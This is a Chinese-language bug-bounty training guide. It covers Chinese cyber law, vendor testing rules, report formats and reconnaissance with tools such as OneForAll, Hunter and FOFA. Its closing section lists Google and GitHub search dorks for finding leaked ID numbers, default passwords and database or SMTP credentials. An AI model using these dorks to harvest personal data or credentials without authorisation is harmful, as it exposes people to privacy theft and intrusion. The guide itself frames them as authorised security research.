SRC漏洞挖掘
法律
网络安全法核心要点
《网络安全法》核心要点
- 中华人民共和国国家互联网信息办公室
- 中央网络安全和信息化委员会办公室
《中华人民共和国网络安全法》于2017年6月1日正式实施,是中国网络空间法治化的重要里程碑。以下是该法的一些核心要点:
网络运营者的安全保护义务: 网络运营者需要采取技术措施和其他必要性措施,确保其网络的安全、稳定运行,有效应对网络安全事件,防范网络违法犯罪活动。
个人信息保护: 强调了对个人信息的保护,规定了网络运营者收集、使用个人信息应当遵循合法、正当、必要的原则,并且要公开收集和使用规则,明示收集、使用信息的目的、方式和范围,并经被收集者同意。
关键信息基础设施保护: 明确了国家对关键信息基础设施实行重点保护,并制定专门的保护制度,要求关键信息基础设施的运营者履行相应的安全保护义务。
网络安全审查制度: 为了保障国家安全和社会公共利益,建立了网络安全审查制度,对影响或可能影响国家安全的网络产品和服务进行审查。
监测预警与应急处理机制: 建立健全网络安全风险评估和应急工作机制,制定网络安全事件应急预案,并定期组织演练。
法律责任: 明确规定了违反本法规定的各种行为所应承担的法律责任,包括但不限于警告、罚款、暂停相关业务、停业整顿、关闭网站、吊销许可证或者营业执照等处罚措施。
《刑法》核心要点
- 全国人民代表大会-中华人民共和国刑法
《中华人民共和国刑法》是中国法律体系中关于犯罪与刑罚的基本法律。它规定 了什么行为构成犯罪、对这些行为应如何处罚以及相关的刑事程序:
- 犯罪的定义各分类
- 刑法将犯罪分为十大类,包括危害国家安全罪、危害公 共安全罪、破坏社会主义市场经济秩序罪、侵犯公民人身权利、民主权利等。
- 刑事责任年龄
- 已满十六岁的人犯罪,应当负刑事责任。
- 共同犯罪
- 两人以上共同故意犯罪的,是共同犯罪。对于共同犯罪中的主犯, 应当按照其所参与的者组织、指挥的全部犯罪处罚;对于从犯,应当从轻、减 轻处罚或者免除处罚。
- 刑罚种类
- 包括管制、拘役、有期徒刑、无期徒刑、死刑五种主刑,以及罚金、剥夺政治权利、没收财产三种附加刑。
- 自首和立功
- 犯罪后自动投案,如实供述自己罪行,是自首,可以从轻或减 轻处罚。其中,犯罪较轻的,可以免除处罚。犯罪分子有揭发他人犯罪行为, 查证属实的,或提供重要线索,从而得以侦破其他案件等立功表现的,可以从 轻或者减轻处罚;有重大立功表现的,可以减轻或者免除处罚。
挖洞注意事项
我想搞漏洞挖掘,需要注意哪些事项?
- 必须获取授权
- 在进行任何漏洞挖掘前,必须获得目标系统所有者的明确授权。未经授权的渗透测试或漏洞扫描可能会被视为非法入侵。
- 遵循道德规范
- 即使获取得了授权,也应遵循道德规范,避免故意扩大利用范围,不泄露发现的漏洞细节给第三方,除非得到明确许可。
- 及时报告漏洞
- 一旦发现漏洞,应及时向相关方报告,并提供详细修复建议。不要公开披露漏洞详情,直到确认已被修复。
- 避免恶意行为
- 不应利用发现的漏洞进行任何形式的敲诈勒索、诈骗或其他违法活动。
- 个人信息保护
- 在挖掘过程中接触到的任何个人信息都需要严格保密,不得用于任何非授权用途。
法律风险:
- 非法侵入计算机信息系统罪
- 如果未经授权访问他人计算机系统,可能会触犯此罪名。
- 侵犯隐私权或商业秘密
- 不当处理或泄露在漏洞挖掘过程中接触到的敏感信息可能导致法律责任。
- 破坏计算机信息系统罪
- 如果在测试过程中对系统造成了损害,可能会面临此类指控。
- 散布虚假信息或恶意炒作
- 夸大漏洞的危害性或参与恶意炒作也可能带来法律后果。
法律法规相关重点条例介绍-计算机网络相关
《网络安全法》
- 第二十一条: 网络运营者应采取技术措施和其他必要措施,确保网络安全稳定运行,有效应对网络安全事件,防范网络违法犯罪活动。
- 第四十条: 网络运营者应当对其收集的用户信息严格保密,并建立健全用户信息保护制度。
- 第四十二条: 未经被收集者同意,不得向他人提供个人信息。但是,经过处理 无法识别特定个人且不能复原的除外。
- 第六十四条: 违反本法规定,侵害个人信息依法得到保护的权利的,由有关主管 部门责令改正,可以根据情节单处或者并处警告、没收违法所得、处违法所得 一倍以上十倍以下罚款等。
《个人信息保护法》
- 第五条: 处理个人信息应当遵循合法、正当、必要和诚信原则,不得通过误导、欺诈、胁迫等方式处理个人信息。
- 第十三条: 只有在符合下列情形之一的情况下,个人信息处理者方可处理个人信息: 取得个人的同意;为订立、履行个人作为一方当事人的合同所必需等。
- 第五十五条: 个人信息处理者应当对个人信息处理活动负责,并采取必要措施保障所处理的个人信息的安全。
- 第六十六条: 对于违反本法规定的个人信息处理者,可以按照违法所得的情况处以罚款;没有违法所得的,可处以一百万元以下的罚款等。
中华人民共和国刑法(第285、286条)
- 第二百八十五条: 违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算算机信息系统的,处三年以下有期徒刑或者拘役。
- 第二百八十六条: 违反国家规定,对计算机信息系统功能进行删除、修改、增 加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期 徒刑或者拘役;后果特别严重的,处五年以上有期徒刑,违反国家规定,对计 算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加 的操作,后果严重的,依照前款的规定处罚。故意制作、传播计算机病毒等破 坏性程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚。
- 第二百五十三条之一: 侵犯公民个人信息罪,违反国家有关规定,向他人出售 或者提供公民个人信息,情节严重的,处三年以下有期徒刑或者拘役,并处或 者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。
中华人民共和国刑法修正案(七)
在刑法第二百八十五条中增加两款作为第二款、第三款: "违反国家规定,侵入 前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统 中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严 重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处 三年以上七年以下有期徒刑,并处罚金。
"提供专门用于侵入、非法控制计算机信息系统的程序、工具,或者明知他人实施 侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严 重的,依照前款的规定处罚。"
中华人民共和国刑法修正案(九)
在刑法第二百八十五条中增加 - 款作为第四款: "单位犯前三款罪的,对单位判处罚金,并对其直接负责的主管人员和其他直接责任人员,依照各该款的规定处罚。"
在刑法第二百八十六条中增加 - 款作为第四款: "单位犯前三款罪的,对单位判处罚金,并对其直接负责的主管人员和其他直接责任人员,依照第一款的规定处罚。"
在刑法第二百八十六条后增加一条,作为第二百八十六条之一: "网络服务提供 者不履行法律、行政法规规定的信息网络安全管理义务,经监管部门责令采取改 正措施而拒不改正,有下列情形之一的,处三年以下有期徒刑、拘役或者管制, 并处或者单处罚金:
(一)致使违法信息大量传播的;
(二)致使用户信息泄露,造成严重后果的;
(三)致使刑事案件证据灭失,情节严重的;
(四)有其他严重情节的。
单位犯前款罪的,对单位判处罚金,并对其直接负责的主管人员和其他直接责任人员,依照前款的规定处罚。
有前两款行为,同时构成其他犯罪的,依照处罚较重的规定定罪处罚。
SRC介绍&我们如何选择SRC&注意事项
什么是白帽子
白帽子(好人)
主要特点:
- 合法性: 所有活动均需获得相关方的明确授权。
- 道德性: 遵守行业道德标准,不泄露敏感信息,不对系统造成损害。
- 建设性: 专注于发现潜在的安全威胁,并协助修复这些问题以增强系统的安全性。
黑帽子(坏人)
主要特点:
- 非法性: 未经授权擅自访问他人计算机系统或网络。
- 破坏性: 行为往往导致数据丢失、隐私泄露或其他形式的损失。
- 动机不纯: 主要为追求私利或满足个人欲望,不顾及对他人的影响。
两者区别
- 意图不同: 白帽子的目标是保护信息系统免受攻击,而黑帽子则试图利用这些系统中的弱点谋取私利或造成伤害。
- 法律地位: 白帽子的行为受到法律的认可和支持,前提是必须事先取得适当的许可;相反,黑帽子的行为违反了法律法规,可能面临刑事处罚。
- 社会贡献:白帽子通过对网络安全的研究和实践为社会做出积极贡献,提高了 整体网络安全水平;黑帽子则破坏了网络安全环境,给个人和社会带来了巨大 风险。
合规、正道
SRC(Security Response Center) 是什么?
SRC通常指的是"安全响应中心"(Security Response Center)或者称为"漏洞响应 平台",它是企业或组织为了收集、处理和响应来自外部的安全漏洞报告而设立 的一个平台或机制。SRC的主要职责包括但不限于:
- 接收安全漏洞报告: 允许安全研究人员(俗称"白帽子")提交发现的漏漏洞。
- 评估和验证漏洞: 对收到的漏洞报告进行技术评估,确认其有效性及影响范围。
- 协调修复工作: 与内部开发团队合作,制定并实施修复方案。
- 感谢与奖励贡献者: 根据漏洞的危害程度及其影响力给予报告者相应的认可或奖励,如公开致谢、奖金等。
通过建立SRC,企业能够更有效地管理和减少潜在的安全威胁,同时付也为网络安 全爱好者提供了一个合法且正式的渠道来汇报他们发现的安全问题,促进了互联 网安全环境的健康发展。知名的SRC例如包括谷歌、Facebook等国外平台以及中 国的各大互联网公司如阿里巴巴、京东、百度、腾讯等设立的安全应急响应中心。
各大SRC平台地址:
SRC 导航平台
- 补天平台:https://www.butian.net/Reward/plan/2 各厂商奖励计划,适合新手
- 漏洞盒子:https://src.vulbox.com/
- 安全KER:https://www.anquanke.com/src/
如何选择SRC?
- 知名度高不高?: 知名公司的SRC通常更受信任
- 规模大不大?: 大厂!大厂!头部公司,不差钱!
- 赏金高不高?: 不要跟我们谈信仰!
- 难度大不大?: 尽量选择接受所有漏洞类型的SRC
- 其他考虑因素…: 法律合规性,技术支持与社区互动,国际化程度
注意提交范围!
不要瞎提交!提交的漏洞一定是相关SRC所收录的范围,不要将不相干的漏洞提交到平台,比如把XX医院的漏洞提交到阿里或腾讯平台。
漏洞提交规范
一、漏洞名称
- 漏洞名称应明确说明漏洞所在业务、漏洞类型等信息,避免使用【某业务】、【某网站】等泛指的词;
举例:
《千度平台搜索功能反射型XSS漏洞》 《oa.x.com登录接口SQL注入漏洞》
二、漏洞类型
- 漏洞类型请按真实漏洞类型选择;
三、漏洞等级
漏洞等级会直接影响漏洞影响强度,虚标高漏洞等级会消耗大量人力物力资源响应漏洞,请严格按漏洞危害选择相应漏洞等级。
四、漏洞URL
Web类漏洞需要提供漏洞URL,漏洞URL应当为漏洞最关键部分的URL,如存储XSS的输入或输出点页面URL、SQL注入点的URL等。URL需要是完整的链接,不能仅写主域名。
举例:
反射型XSS:https://www.example.com/foo/bar?alice= GET型CSRF: https://www.example.com/update/profile?name=test
五、漏洞详情
- 尽可能提供足够的信息,如无特殊必要情况,所有信息能直接提供在漏漏洞详情的请直接在漏洞详情填写;
- 准确、客观的描述漏洞出现的位置、测试步骤、POC/EXP、影响大小等等,并提供关键步骤的截图、利用成功的截图、视频等;
- 测试步骤和POC必须填写完整。漏洞利用点:客户端漏洞需要提供佳确的漏洞 代码位置,包括包名、类名、关键部位代码问题说明。如果是非代码类的, 业务操作相关的漏洞,需要明确说明功能入口;
- 客户端漏洞需要提供存在问题的客户端、版本号,特殊渠道下载的色包请说明下载来源;
- 接口类URL上的漏洞请同时提供调用此接口的业务页面URL;需要前置步骤或前置权限的,请一并说明,例如需要使用卖家账号并购买了XX服务后才能测试的漏洞需要提供具体服务的地址;
- 非常见的漏洞类型请额外提供漏洞原理、成因、修复方案等,并附上参考资料链接;常见的漏洞无需提供漏洞上述信息。
- 漏洞关键步骤为HTTP POST的,请在漏洞详情相应位置处提供完成的POST包,如SQL注入、越权等漏洞。
部分漏洞详情额外要求说明,例如:
- 存储型XSS: 请提供输入点所在页面URL、输入点字段名、Payload、输出点URL、输出点具体位置的截图说明;
- SQL注入漏洞: 请提供注入点URL所在页面URL(如果有)、注入点URI1、注入成功后的截图
- 有账号认证的应用需提供漏洞测试时所使用的账号名信息。
- 漏洞测试如果获取到webshell,请提供完整的webshell访问地址和连接密码
SRC安全测试规范&所关注的漏洞风险
SRC行业安全测试规范
https://xianzhi-next.aliyun.com/?#/bulletin-detail/24
参与此标准制定的组织,以下组织的SRC平台可参考此规范,其平台以自身规范为准!规范基本都差不多!
ASRC、阿里云先知、蚂蚁金服SRC、菜鸟SRC、本地生活SRC、同舟共测、腾讯SRC、 百度SRC、360SRC、小米SRC、滴滴SRC、苏宁SRC、唯品会SRC、微博SRC、蘑菇街 SRC、网易SRC、VIPKIDSRC、WiFi万能钥匙SRC、完美世界SRC、京东SRC
测试规范
- 注入漏洞,只要证明可以读取数据就行,严禁读取表内数据。对于UPDATE、 DELETE、INSERT 等注入类型,不允许使用自动化工具进行测试。
- 越权漏洞,越权读取的时候,能读取到的真实数据不超过5组,严禁进行批量读取。
- 帐号可注册的情况下,只允许用自己的2个帐号验证漏洞效果,不要涉及线上 正常用户的帐号,越权增删改,请使用自己测试帐号进行。帐号不可注册的 情况下,如果获取到该系统的账密并验证成功,如需进一步安全测试,请咨 询管理员得到同意后进行测试。
- 存储xss漏洞,正确的方法是插入不影响他人的测试payload,严禁弹窗,推 荐使用console.log,再通过自己的另一个帐号进行验证,提供截图证明。对 于盲打类xss,仅允许外带domain信息。所有xss测试,测试之后需删除插入 数据,如不能删除,请在漏洞报告中备注插入点。
- 如果可以shell或者命令执行的,推荐上传一个文本证明,如纯文本的1.php、 1.jsp等证明问题存在即可,禁止下载和读取服务器上任何源代码文件和敏感 文件,不要执行删除、写入命令,如果是上传的webshell,请写明shell文件 地址和连接口令。
- 在测试未限制发送短信或邮件次数等扫号类漏洞,测试成功的数量不超过50 个。如果用户可以感知,例如会给用户发送登陆提醒短信,则不允许对他人 真实手机号进行测试。
- 如需要进行具有自动传播和扩散能力漏洞的测试(如社交蠕虫的测试),只 允许使用和其他账号隔离的小号进行测试。不要使用有社交关系的账号,防 止蠕虫扩散。
- 禁止对网站后台和部分私密项目使用扫描器。
- 除特别获准的情况下,严禁与漏洞无关的社工,严禁进行内网渗透。
- 禁止进行可能引起业务异常运行的测试,例如:IIS的拒绝服务等可导致拒 绝服务的漏洞测试以及DDOS攻击。
- 请不要对未授权厂商、未分配给自己的项目、超出测试范围的列表进行漏洞 挖掘,可与管理员联系确认是否属于资产范围后进行挖掘,否则未授权的法 律风险将由漏洞挖掘者自己承担。
- 禁止拖库、随意大量增删改他人信息,禁止可对服务稳定性造成影响的扫描、使用漏洞进行黑灰产行为等恶意行为。
- 敏感信息的泄漏会对用户、厂商及上报者都产生较大风险,禁止保存和传播 和业务相关的敏感数据,包括但不限于业务服务器以及Github 等平台泄露 的源代码、运营数据、用户资料等,若存在不知情的下载行为,需及时说明 和删除。
- 尊重《中华人民共和国网络安全法》的相关规定。禁止一切以漏洞测试为借 口,利用安全漏洞进行破坏、损害用户利益的行为,包括但不限于威胁、恐 吓SRC要公开漏洞或数据,请不要在任何情况下泄露漏洞测试过程中所获知 的任何信息,漏洞信息对第三方披露请先联系SRC获得授权。企业将对违法 违规者保留采取进一步法律行动的权利。
阿里巴巴SRC 安全测试规范
第一类事件:
- 漏洞泄密,漏洞内容主动泄漏给第三方
- 数据留存,测试敏感信息泄漏(账密、敏感key、订单、人员身份信息等问题,在漏洞确认后1个月未对测试过程中获取到的相关信息进行完全删除
- 存储不当,使用非阿里巴巴提供的在线存储服务或包含网络同步功能的本地软件,来存储测试过程中获取到的相关信息,导致泄漏(在线存储请用钉盘,情报订单数据类另算)
- 瞒报问题,对于发现的敏感信息未完全上报明显有所保留,或发现漏洞后1周内未上报相关漏洞
- 客户影响,测试轻微影响到了其他用户的产品使用引起少量投诉等不良反馈
第二类事件:
- 生产事故,测试造成重要业务中断直接引发大面积故障
- 危害用户,测试影响了大量用户,造成用户侧大量投诉
- 敏感数据,获取敏感数据请求不要超过50条
- 深度利用,拒绝内网渗透,禁止获取内网权限后在内网使用扫描器、或我横向接触非测试靶机类目标、获取内网应用/主机权限等
- 完整性破坏,使用越权删除等问题,对线上系统造成完整性的破坏,导致重要数据丢失
- 可用性破坏,使用dos类缺陷或其他手法,对线上系统造成了可用性的破坏,导致系统不可用
- 社工攻击,如使用钓鱼邮件进行攻击,进一步种植木马病毒、窃取公司机密等
- 其他故意危害计算机信息网络安全导致严重后果的行为
注: 对于第三条,50是底线,但不意味着49条就合规,平时测试不要超过5条录;法律规定不得获取超过50条以 上个人信息,因此越权漏洞需要谨慎,保证自身安全,专业的渗透测试中"可控"也是要求之一。
无意的下载、删除等行为,请立刻删除本地数据、恢复线上业务、报备漏洞审核同学,自2020年12月起 未及时报备符合上述定义的测试行为,不再认定为白帽行为,转交其他团人依照法律法规进行处理。
字节跳动SRC 安全测试规范:
- 禁止进行可能引起业务异常运行的测试,禁止用扫描器或其他自动化工具, 只允许手工测试;禁止任何类型的网络拒绝服务(DoS或DDOS)测试或通过软件 或者工具自动扫描产生大量教据流量的行为。
- 注入漏洞严禁读取表内数据,对于UPDATE、DELETE、INSERT等注入类型,不允 许使用自动化工具进行测试。(对于可能改变表数据的,需要提前报备。)
- 禁止进行内网渗透测试行为和任何有害化的测试行为,包括但不限于: 获取内 网权限后在内网使用扫描器、或横向接触非对外开放系统目标、获取内网应 用/主机权限/数据、上传webshell、反弹shell等。
- 禁止下载、保存、传播和业务相关的敏感数据,包括但不限于业务服务器以 及Github等平台泄露的源代码、运营数据、用户资料、登陆凭证等,若存在 不知情的下载行为,需及时说明和删除;测试过程中获取的相关代码/数据, 务必在SRC漏洞确认后立即删除,不得非法留存及使用。
- 禁止进行近源攻击或者黑客物理入侵、社会工程学测试或邮件钓鱼等非技术 漏洞测试,尤其是禁止使用社工库等非法手段获取用户密码。
- 越权漏洞: 越权读取时能够证明读取数量即可,且读取到的真实数据不超过5 组,严禁进行批量读取;请自备测试账号,敏感操作不得涉及线上正常用户的 帐号(如需进一证明危害,请咨询管理员得到同意后进行测试。)
- 针对业务线专测: 专测开始前需和运营报备即将使用的C2的IP地址,未及时 报备将视为未授权攻击行为,会影响最终漏洞奖励;禁止盗用、借用、售卖测 试账号,不得擅自修改账号密码、换绑手机号、添加子账号等;禁止利用测 试账号对专测范围外的产品和业务测试;测试账号仅限专测时间内使用。
- 禁止使用任何违反平台规定或法律法规的文字、图片、视频作为测试素材。
- 当您在进行重要敏感操作前,请先与管理员报备,得到授权后再进一步测试。
- 关于AK/SK泄露相关报告,请直接将AK/SK信息提交到平台即可,将由审核验 证和确认影响范围及等级,严禁自行深入业务验证危害。
- 根据违规情节严重程度,针对违规人员将采取以下3种处罚措施:
- 取消单个漏洞/情报奖励,已发放的奖励将追回。
- 半年内违规两次,封禁账号(您将不能再参加字节的任何奖励计划项(1)
- 未遵守《网络安全法》,利用安全漏洞进行破坏、损害系统及用户的利别益的攻击行为,我们保留追究法律青任的权利
SRC所关注的风险类型
各大SRC略有不同,如下介绍头部SRC所关注的漏洞类型及评分标准,参考如下
信息收集
SRC企业归属资产发现及信息收集
前言
挖洞名言: SRC漏洞挖掘的本质在于资产信息收集.
涉及资产类型包括网站、微信小程序、APP、公众号、支付宝小程序、PC客户端等。
"弱鸡选手"也能大幅提升发现并报告有价值漏洞的机会!
全国企业信息查询系统
- 企查查(https://www.qcc.com) 优先推荐
- 淘宝闲鱼:临时账号,降低成本
- 天眼查(https://www.tianyancha.com)
重点关注知识点: 一键导出子公司的信息,一键查询所有关联子公司信息,例如查询国成员企业。
范例:企查查
- 关键字搜索。如京东,列出很多家京东名称类的公司。
- 随便点进一个。可以看到所属集团为京东、知识产权信息、备案网站主域名。
一键导出所有子公司信息
深入分析关联子公司的网站备案、业务范围。
帮助我们更好地理解目标企业的整体架构,让漏洞挖掘工作更加精准高效。
范例:一键导出“阿里巴巴”子公司信息
- 登录天眼查
通过业务或品牌关键字搜索
如搜索京东、达达,可以进一步挖掘关联企业的信息,甚至是新业务。
范例:企查查搜索达达
- 从结果中找一家公司。如达疆网络科技。
- 打开官网,可以看出它的业务名称是达达。
- 看看这家公司的知识产权。
通过查同一个电话号码、邮箱关联的企业
通过查同一个电话号码、邮箱关联的企业,基本能找到不少子公司。
这些企业可能是同一个集团下的不同子公司,也有可能是合作关系紧密的公司。
这样可以进一步扩展我们的资产收集范围。
这个技巧非常适合收集那些资产信息纰漏不完全的公司。
范例:通过邮箱收集
- 企业查查找到达疆网络科技的邮箱信息
- 搜索它这个邮箱,得到很多关联公司。
股权穿透,获取所有子公司备案域名
很多时候,漏洞不一定出现在母公司,而是出现在子公司或关联公司中。股权穿透可以帮助我们收集这些信息。
控股超过50%的子公司通常是由母公司主导的,有很高的商业价值。如果发现这些有漏洞,通常SRC也会收录。
企业相关的商标、作品著作权、软件著作权等
- 商标可以发现其注册的品牌和产品名称
- 作品著作权、软件著作权可以帮助我们识别出企业拥有的技术或软件产品。不过这些资源可以在找到更多目标点、了解企业的技术栈后作为关键的提示。
例如商标中会含有一个品牌名称,通过搜索引擎搜索品牌名称就可能搜索到意想不到的资产。
企业备案的网站和APP以及公众号和小程序
- 备案的网站: 描述企业的核心服务
- 小程序: 给企业提供了快速接触用户的平台。可以了解功能逻辑,它与其他系统是如何互动,如支付、身份认证。
- APP: 分析架构、API接口。
- 公众号: 是企业对外的沟通工具,还是品牌建设、用户服务的关键平台。通过其发布重要信息、活动等,这些临时的活动页面可能有漏洞。
小提示:一般来说,100%全资控股的子公司,其漏洞SRC是一般会收录的。但对于其他控股比例的子公司资产,可能就需要和SRC审核团队进行额外的沟通了。
七麦数据查询
七麦数据是国内专业的移动应用数据分析平台,覆盖APP Store, Google Play双平台,提供IOS, Android应用市场多维度数据。
范例:
- 打开七麦数据网站。可以搜索公司名称或主体名。
- 搜索公司名称 北京京东世纪贸易有限公司,可以找到公司的APP应用。如京粉
- 查看APP京粉,开发者应用可以看到还有哪些APP。
通过TI情报平台
奇安信ALPHA威胁分析平台是面向安全分析师、事件响应人员的综合性威胁情报分析平台,以海量多维度网络空间安全数据为基础,实现报警研判、攻击定性等功能。
查看域名、IP
通过微信搜索及小程序关联查询
1.通过微信直接搜索关键词即可。小程序关联查询。
范例:
- 微信中搜索品牌名、产品名,结果中除了公众号还有小程序
- 找到一个程序,点击右上角三个点 …,进入小程序详情页
- 在详情页可以看到该账号的相关小程序。企业为业务拆分的小程序。
- 往往里面会了一些轻量化系统。
2.根据程序备案号也可以反查其他小程序。
- 正规的小程序都是需要备案的。
- 一家公司如果有很多小程序,很可能这些小程序用的同一个备案号主体。
- 在小程序详情页的更多资料中找到备案号。
- 拿到小程序备案号反查,看有哪些小程序备案号是一样的。
- ICP备案系统查询
3.通过小程序的企业信用代码查询
- 在微信小程序的详情页面中,通常能看到小程序归属的公司信息。里面就有统一社会信用代码,相当于企业的身份证。
- 在小程序详情页的更多资料中找到主体公司。
- 微信中搜索主体公司对应的公众号,在公众号详情里找到主体公司的统一社会信用代码。
- 在企查查中通过统一社会信用代码查询。
通过工信部备案查询
在国内为了合法地搭建网站并确保其可以被公众访问,必须进行ICP备案。ICP备案涉及三个主要元素:企业名称、备案号(也称为ICP许可证号或ICP备案编号)、以及域名。通过这三个元素中的任何一个,理论上都可以查询到其他两个信息。
使用公司名查询、使用备案号查询、使用域名查询。
还可以查APP,小程序。
招聘网站情报
公司介绍、职位信息。
子域名及资产信息收集
子域名就是资产的延伸线索。有时候主账号没有问题,但子域名却藏着一些测试环境、老系统。
子域名收集
OneForAll
OneForAll是一款功能强大的子域收集工具,主要用于网络安全领域中的信息收集阶段,它可以帮助用户通过多种方式收集目标域名下的所有子域名信息。
工具下载: https://github.com/shmilylty/OneForAll
#常用的获取子域名有2种选择: --target指定单个域名 --targets指定域名文件 python3 oneforall.py --target example.com run python3 oneforall.py --targets ./domains.txt run
Hunter
Hunter(鹰图)是一个在线威胁情报和资产安全管理平台,但它在信息收集中也具备强大的子域名收集能力。特别适合前期的摸底工作。
搜索语法
is_domain=true #搜索域名标记不为空的资产 domain="qianxin" #搜索域名包含"qianxin"的网站 domain.suffix="qianxin.com" hot #搜索主域为"qianxin.com"的网站 domain.suffix="qianxin.com"&&domain!="app" #搜索主域为"qianxin.com",且域名不包含"app"的网站 domain.status="clientDeleteProhibited" #搜索域名状态为"client Delete Prohibited"的网站(查看枚举值) domain.whois_server="whois.markmonitor.com" #搜索whois服务器为"whois.markmonitor.com"的网站 domain.name_server="ns1.qq.com" #搜索名称服务器为"ns1.qq.com"的网站 domain.created_date="2022-06-01" #搜索域名创建时间为"2022-06-01"的网站 domain.expires_date="2022-06-01" #搜索域名到期时间为"2022-06-01"的网站 domain.updated_date="2022-06-01" #搜索域名更新时间为"2022-06-01"的网站 domain.cname="a6c56dbcc1f22283.qaxanyu.com" #搜索cname包含“a6c56dbcc1f22283.qaxanyu.com”的网站 is_domain.cname=true #搜索含有cname解析记录的网站
FOFA
FOFA(网络空间安全搜索引擎)是一个网络空间搜索引擎,它允许用户通过特定的语法查询网络上的设备和服务。它是网络安全领域中非常有用的工具之一,主要用于信息收集和资产发现。
常规的domain域名查询,语法
domain="bmw.com"
还可以使用主域名、公用名、组织等方式获取隐蔽的子域名信息。语法
org="<组织名>" org="Huawei Cloud Service data center"
批量使用ICO图标Hash搜索子域名
可能公司下网站都是用的一样的图标。
1、首先计算网站ICO图标的hash值,然后使用语法 icon_hash="<hash值>"
如百度的ico图标
- 进入目标站点,下载图标 https://www.baidu.com/favicon.ico
- 计算ICO的hash值
- 在测绘平台查询,如FOFA中查询可以直接将图片拖进去。
对于批量的ICO收集,可以使用httpx,批量提取一些子域名的ICO的hash值。
python -m pip install httpx
cat <<\EOF>a.tx
https://xxx.com
https://xxx2.com
EOF
httpx -l a.txt -favicon
crt.sh(证书查询网站)
我们还可以通过官方的证书站(crt.sh)搜搜企业的拼音,查找一些组织名(特别是英文组织名),这样可以查询到大量企业子域名以及顶级域名。
ARL灯塔
ARL资产侦察灯塔系统,有着域名资产发现和整理、IP/IP段资产整理、端口扫描和服务识别、WEB站点指纹识别、资产分组管理和搜索等功能。
Funzzdomain(暴力枚举子域名)
FunzzDomain 是一个用于域名模糊测试(Fuzzing)的工具,它主要用于网络安全领域中的信息收集阶段。通过使用该工具,渗透测试人员和安全研究人员能够发现与目标域名相关的更多子域名,这类工具对于评估目标网络的安全状况至关重要。
Google Bing Hacking语法
Google特有的高级搜索操作符介绍:
- site: 指定域名。如在cumt.edu.cn的网域内收索含有”计算机”的内容: 计算机
site:cumt.edu.cn; 如在不含cumt.edu.cn的网域内收索含有”计算机”的内容:计算机 -site:cumt.edu.cn这对于分析一个特定网站的内容或者结构非常有帮助。 - filetype: 检索特定类型的文件,即搜索后缀或者文件的扩展名。收索格式为pdf的含有“网络安全”的内容:
网络安全 filetype:pdf这对于寻找公开发布的报告、指南等非常有用。 - intitle 或 allintitle: 网页标题中的关键字。如在网页标题中含有”计算机”而且也含有”信息安全”:
intitle: 计算机 信息安全这对于寻找特定组织或主题相关的网页特别有用。 - inurl: 在网页的 URL 中搜索关键字。例如:
inurl:"login.php"能帮助识别可能的管理员登录入口这对于评估网站的安全性很有用,但应谨慎使用这种技术避免侵犯隐私或进行未经授权的访问尝试。 - intext: 只在网页的正文中检索关键词,即忽略超链接文本、URL以及题目等。如收索只在网页正文中含有”计算机” 也含有”信息安全”的网页:
intext:计算机 信息安全
Bing特有的高级搜索操作符:(Bing的高级搜索操作符与Google有一些相似之处,但也存在一些羞异。)
- contains: 用于查找包含特定文件类型的链接的网站。示例:
音乐 contains:wma查找包含.wma文件链接的网站。 - prefer: 强调某个搜索条件或运算符,将相关内容优先显示。示例:
烤鸭 prefer:北京查找有关烤鸭的信息,但主要限定在北京的相关内容。 feed:和hasfeed:
- feed: 用于查找含有指定关键词的RSS或Atom订阅源。
- hasfeed: 用于查找含有指定关键词的订阅源链接的网页。
示例:
site:nytimes.com hasfeed:足球查找《纽约时报》网站上包含"足球"的订阅源链接。- ip: 根据lP地址搜索托管在此地址上的网站。示例:
ip:208.43.115.82查找托管在该IP地址上的网站。
#常用 site:xx.edu.cn filetype:pdf 身份证 学号 工号 site:xx.edu.cn filetype:docx 身份证 学号 工号 site:xx.edu.cn filetype:xlsx身份证 学号 工号 title关键词 site:google.com intitle:身份证|sfz|学号|xh|登录|注册|管理|平台|验证码|账号|系统|手册|默认密码|初始密码|pasaword|联系电话|操作手册|vpn|名单 body关键词 site:google.com intext:身份证|sfz|学号|xh|登录|注册|管理|平台|验证码|账号|系统|手册|默认密码|初始密码|pasaword|联系电话|操作手册|vpn|名单 文件类型(文件类型不支持需要拆分出来单独查询) site:google.com filetype:pdf|xls|xls|xlsx|docx|doc|text|ini|mdb|txt SOL注入 site:google.com inurl:aspx|asp|php|jsp|do|.aotion|html 文件路径 site:google.com inurl:login/admin|manage|sysadmin|system|master|admin_login|cms|data|templates|index 文件上传 site:google.com inurl:file|upload|uploadfile|ewebeditor|kindediter|Ueditor|file|choosefile #目录穿越 intitle:index.of "parent directory" intitle:index of /ppt intitle:index of /password intext:转到父目录/转到父路径 intext:to parent directory #业务相关性 site:google.com "审计报告" "身份证" "SEZ" site:google.com "财务报告" "身份证" "SFZ" site:google.com "科技奖" "身份证" "SFZ" site:google.com "科技奖" "身份证" "SFZ" site:google.com "发明专利" "身份证" "SFZ" site:google.com "财务报告" "身份证" "SFZ" site:google.com "无犯罪记录" "身份证" "SFZ" site:google.com "特发此证" "身份证" "SFZ" site:google.com "出版合同" "身份证" "SFZ" site:google.com "甲方代表" "身份证" "SFZ" site:google.com "乙方代表" "身份证" "SFZ" site:google.com "籍贯" "身份证" "SFZ" site:google.com "汉族" "身份证" "SFZ" site:google.com "职称" "身份证" "SFZ" #邮箱配置信息泄露 site:github.com "google.com" smtp password site:github.com "google.com" smtp @126.com site:github.com "google.com" site:github.com "google.com" String password smtp #数据库信息泄露 site:github.com "google.com" root password site:github.com "google.com" sa password site:github.com "google.com" User ID='sa';Password #svn信息泄露 site:github.com "google.com" svn site:github.com "google.com" svn password site:github.com "google.com" svn username site:github.com "google.com" svn username password #数据库备份文件 site:github.com "google.com" inurl:sql #综合信息泄露 site:github.com "google.com" password site:github.com "google.com" ftp ftppassword site:github.com "google.com" 密码 site:github.com "google.com" 内部
一键化工具Search Viewer
集成包含Hunter, fofa, 360quake, Zoomeye, Shodan
首先配置相应的API KEY,使用API一键拉取资产进行可视化展示。
指纹识别
Ehole
